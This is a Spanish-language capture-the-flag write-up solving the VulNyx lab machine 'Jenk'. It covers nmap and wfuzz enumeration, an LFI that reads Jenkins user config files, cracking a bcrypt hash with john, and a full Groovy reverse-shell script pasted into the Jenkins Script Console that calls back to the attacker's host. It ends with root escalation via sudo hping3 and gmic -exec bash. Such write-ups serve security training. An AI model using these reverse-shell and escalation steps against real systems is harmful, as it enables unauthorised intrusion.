VulNyx - Jenk
- LFI - Data Leak
- Brute Force Hash
- Abuse Groovy Script console - Jenkins
- Abusing hping3 Binary
- Abusing gmic Binary
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.78
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.78
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
8080/tcp open http Jetty 10.0.13
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.13)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
HTTP TCP - 8080
Empiezo realizando fuerza bruta de directorios al puerto 80.
❯ wfuzz -c -t 200 --hc=404 --hl=368 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.78/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.78/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003406: 301 9 L 28 W 314 Ch "webcams"
Navego hacia /webcams
y veo lo siguiente:
Cam1
Cam2
Después de realizar varias pruebas me quedé atascado en este punto, a pesar de tener una pista delante de mis narices he tenido que pedir ayuda al sr d4t4s3c
.
Al abrir los enlaces de
cam list
se puede apreciar que el servidor hace un include a la extensión.xml
, eso significa que no hace falta escribir la extensión.xml
porque ya lo hace el servidor.
Ejemplo sin extensión .xml
.
Ejemplo con extensión .xml
, me devuelve un error porque no encuentra el archivo.
Sabiendo esto el objetivo es leer algún archivo sensible que sea útil para la intrusión de la máquina, siguiendo los pasos de esta web y esta otra encuentro la ruta /var/lib/jenkins/users/users
.
Si visualizo el código fuente de la página veo en la etiqueta string el directorio de configuración del usuario andrew.
Navego al nuevo directorio pero apuntando al fichero config ya que este archivo contiene datos sensibles del usuario andrew.
En el código fuente encuentro un un hash en la etiqueta passwordHash
.
Creo el fichero hash con el hash de andrew y lo crackeo con john.
❯ echo "$2a$10$V.wxGyfowdGEVLvpQt5DROedmKKUp11g922/V.tb1xmi8eYe7rmzu" > hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
a*****1
Finalmente accedo al panel de andrew.
Me voy a Panel de Control/Administrar Jenkins/Script Console
.
Pego el siguiente script para mandarme una shell.
String host="192.168.1.18";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Obtengo la shell como usuario jenkins.
❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.18] from jenk.nyx [192.168.1.78] 49150
id
uid=106(jenkins) gid=112(jenkins) grupos=112(jenkins)
script /dev/null -c bash
Script iniciado, el fichero de anotación de salida es '/dev/null'.
jenkins@jenk:~$
Lanzo un cat al fichero passwd para ver los usuarios del sistema.
jenkins@jenk:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
jenkins:x:106:112:Jenkins,,,:/var/lib/jenkins:/bin/bash
andrew:x:1000:1000:andrew,,,:/home/andrew:/bin/bash
Enumero permisos de sudo.
jenkins@jenk:~$ sudo -l
Matching Defaults entries for jenkins on jenk:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jenkins may run the following commands on jenk:
(andrew) NOPASSWD: /usr/sbin/hping3
Consulto el binario hping3 en gtfobins con esta herramienta herramienta gtfobins-cli.
Paso de jenkins a andrew de la siguiente forma.
jenkins@jenk:~$ sudo -u andrew /usr/sbin/hping3
hping3> /bin/bash
andrew@jenk:/var/lib/jenkins$ id
uid=1000(andrew) gid=1000(andrew) grupos=1000(andrew)
Enumero de nuevo permisos de sudo.
andrew@jenk:~$ sudo -l
Matching Defaults entries for andrew on jenk:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User andrew may run the following commands on jenk:
(root) NOPASSWD: /usr/bin/gmic
Después de varios intentos fallidos de obtener el root, he tenido que pedir ayuda al sr d4t4s3c me ha facilitado este enlace para consultar el manual completo del gmic, en este manual he encontrado lo siguiente:
Pruebo la flag -exec
con el comando id y veo que soy root.
andrew@jenk:~$ sudo /usr/bin/gmic -exec id
[gmic]-0./ Start G'MIC interpreter.
[gmic]-0./ Execute external command 'id' in verbose mode.
uid=0(root) gid=0(root) grupos=0(root)
Obtengo el root de la siguiente forma.
andrew@jenk:~$ sudo /usr/bin/gmic -exec bash
[gmic]-0./ Start G'MIC interpreter.
[gmic]-0./ Execute external command 'bash' in verbose mode.
root@jenk:/home/andrew# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Jenk.
Saludos!